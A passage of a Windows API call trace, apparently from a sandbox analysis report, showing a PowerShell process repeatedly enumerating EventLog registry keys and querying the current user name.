lpName="MshEnableTrace", lpBuffer=0x5bfe07d980, nSize=0x80 | out: lpBuffer="︇[") returned 0x0 [0184.643] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfe07d740, nSize=0x80 | out: lpBuffer="쏫翹") returned 0x0 [0184.841] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x5c8) returned 0x0 [0184.847] RegQueryInfoKeyW (in: hKey=0x5c8, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x5bfe07e940, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e938, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x5bfe07e940*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e938*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x0, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x1, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x2, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x3, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x4, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.847] CoTaskMemFree (pv=0x0) [0184.847] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x5, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.848] CoTaskMemFree (pv=0x0) [0184.848] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x6, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.848] CoTaskMemFree (pv=0x0) [0184.848] RegEnumKeyExW (in: hKey=0x5c8, dwIndex=0x7, lpName=0x1ef0019db88, lpcchName=0x5bfe07e9b0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x5bfe07e9b0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0184.848] CoTaskMemFree (pv=0x0) [0184.848] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.848] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.848] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.848] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.848] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.848] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.848] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.849] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.849] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.849] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.849] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x5 [0184.877] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.877] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x0) returned 0x2 [0184.877] RegCloseKey (hKey=0x5e8) returned 0x0 [0184.877] RegOpenKeyExW (in: hKey=0x5c8, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5e8) returned 0x0 [0184.877] RegOpenKeyExW (in: hKey=0x5e8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e918 | out: phkResult=0x5bfe07e918*=0x5bc) returned 0x0 [0184.877] RegCloseKey (hKey=0x5bc) returned 0x0 [0184.877] RegCloseKey (hKey=0x5c8) returned 0x0 [0184.879] RegCloseKey (hKey=0x5e8) returned 0x0 [0185.255] CoTaskMemAlloc (cb=0x804) returned 0x1ef703d5550 [0185.255] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1ef703d5550, nSize=0x5bfe07ebb0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x5bfe07ebb0) returned 0x1 [0185.257] CoTaskMemFree (pv=0x1ef703d5550) [0185.257] GetUserNameW (in: lpBuffer=0x5bfe07e8a0, pcbBuffer=0x5bfe07ebc8 | out: lpBuffer="FD1HVy", pcbBuffer=0x5bfe07ebc8) returned 1 [0185.543] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e858 | out: phkResult=0x5bfe07e858*=0x650) returned 0x0 [0185.543] RegQueryInfoKeyW (in: hKey=0x650, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x5bfe07e8e0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8d8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x5bfe07e8e0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8d8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.543] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x0, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x1, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x2, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x3, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x4, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x5, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x6, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x7, lpName=0x1ef003167b8, lpcchName=0x5bfe07e950, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x5bfe07e950, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.544] CoTaskMemFree (pv=0x0) [0185.544] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.544] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.545] RegCloseKey (hKey=0x654) returned 0x0 [0185.545] RegOpenKeyExW (in: hKey=0x650, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.545] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.545] RegCloseKey (hKey=0x654) returned 0x0 [0185.545] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.545] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.545] RegCloseKey (hKey=0x654) returned 0x0 [0185.545] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.546] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.546] RegCloseKey (hKey=0x654) returned 0x0 [0185.546] RegOpenKeyExW (in: hKey=0x650, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.546] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.546] RegCloseKey (hKey=0x654) returned 0x0 [0185.546] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x5 [0185.552] RegOpenKeyExW (in: hKey=0x650, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.552] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x0) returned 0x2 [0185.552] RegCloseKey (hKey=0x654) returned 0x0 [0185.552] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x654) returned 0x0 [0185.552] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8b8 | out: phkResult=0x5bfe07e8b8*=0x658) returned 0x0 [0185.552] RegCloseKey (hKey=0x658) returned 0x0 [0185.552] RegCloseKey (hKey=0x650) returned 0x0 [0185.554] RegCloseKey (hKey=0x654) returned 0x0 [0185.555] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e878 | out: phkResult=0x5bfe07e878*=0x654) returned 0x0 [0185.555] RegQueryInfoKeyW (in: hKey=0x654, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x5bfe07e900, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x5bfe07e900*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8f8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x0, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x1, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x2, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x3, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x4, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x5, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x6, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegEnumKeyExW (in: hKey=0x654, dwIndex=0x7, lpName=0x1ef00317fe8, lpcchName=0x5bfe07e970, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x5bfe07e970, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.556] CoTaskMemFree (pv=0x0) [0185.556] RegOpenKeyExW (in: hKey=0x654, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.557] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.557] RegCloseKey (hKey=0x650) returned 0x0 [0185.557] RegOpenKeyExW (in: hKey=0x654, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.557] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.557] RegCloseKey (hKey=0x650) returned 0x0 [0185.557] RegOpenKeyExW (in: hKey=0x654, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.557] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.557] RegCloseKey (hKey=0x650) returned 0x0 [0185.558] RegOpenKeyExW (in: hKey=0x654, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.558] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.558] RegCloseKey (hKey=0x650) returned 0x0 [0185.558] RegOpenKeyExW (in: hKey=0x654, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.558] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.558] RegCloseKey (hKey=0x650) returned 0x0 [0185.558] RegOpenKeyExW (in: hKey=0x654, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x5 [0185.564] RegOpenKeyExW (in: hKey=0x654, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.564] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x0) returned 0x2 [0185.564] RegCloseKey (hKey=0x650) returned 0x0 [0185.564] RegOpenKeyExW (in: hKey=0x654, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x650) returned 0x0 [0185.564] RegOpenKeyExW (in: hKey=0x650, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e8d8 | out: phkResult=0x5bfe07e8d8*=0x658) returned 0x0 [0185.564] RegCloseKey (hKey=0x658) returned 0x0 [0185.564] RegCloseKey (hKey=0x654) returned 0x0 [0185.566] RegCloseKey (hKey=0x650) returned 0x0 [0185.569] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e828 | out: phkResult=0x5bfe07e828*=0x650) returned 0x0 [0185.569] RegQueryInfoKeyW (in: hKey=0x650, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x5bfe07e8b0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x5bfe07e8b0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x5bfe07e8a8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x0, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x1, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x2, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x3, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x4, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x5, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.569] CoTaskMemFree (pv=0x0) [0185.569] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x6, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.570] CoTaskMemFree (pv=0x0) [0185.570] RegEnumKeyExW (in: hKey=0x650, dwIndex=0x7, lpName=0x1ef00319858, lpcchName=0x5bfe07e920, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x5bfe07e920, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0185.570] CoTaskMemFree (pv=0x0) [0185.570] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.570] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: 